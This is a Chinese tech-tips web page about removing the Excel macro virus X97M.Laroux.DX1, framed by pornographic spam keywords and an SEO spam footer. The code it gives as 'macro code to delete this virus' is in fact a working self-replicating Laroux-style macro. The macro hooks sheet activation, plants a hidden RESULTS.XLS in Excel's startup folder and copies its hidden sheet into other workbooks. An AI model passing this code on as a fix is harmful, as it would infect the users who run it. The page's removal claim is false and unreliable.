国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 辦公 > Excel > 正文

EXCEL中宏毒X97M.Laroux.DX1的解決辦法

2024-08-23 19:28:06
字體:
來源:轉載
供稿:網友

  一般來說,EXCEL是不容易中毒的,要中毒的話,就會中宏代碼的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,請使用如下的方法來解決。

  一、常規方法

  使用殺毒軟件掃描全盤文件,然后,進入安全模式再刪除相應文件即可。

  二、使用EXCEL來解決

  ①禁止宏運行

  將EXCEL的安全級別設置為最高,這樣,X97M.Laroux.DX1宏就不能運行了。之后,打開EXCEL,將宏刪除即可。

  刪除方法為:工具→宏→宏→刪除。

  ②使用宏代碼刪除此毒

  刪除X97M.Laroux.DX1宏毒的宏代碼如下:

  Sub auto_open()

  Application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .Keywords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 扶绥县| 桃园市| 沈阳市| 垦利县| 类乌齐县| 固原市| 连南| 舞阳县| 大余县| 邢台市| 潜山县| 邳州市| 连平县| 西畴县| 宜君县| 奉节县| 鄂州市| 安阳市| 鄄城县| 成安县| 武威市| 永登县| 柳江县| 确山县| 建水县| 邯郸市| 阿巴嘎旗| 海兴县| 嵩明县| 洪湖市| 库尔勒市| 长丰县| 建始县| 高邑县| 兰溪市| 江城| 金沙县| 漳平市| 台东市| 望江县| 大渡口区|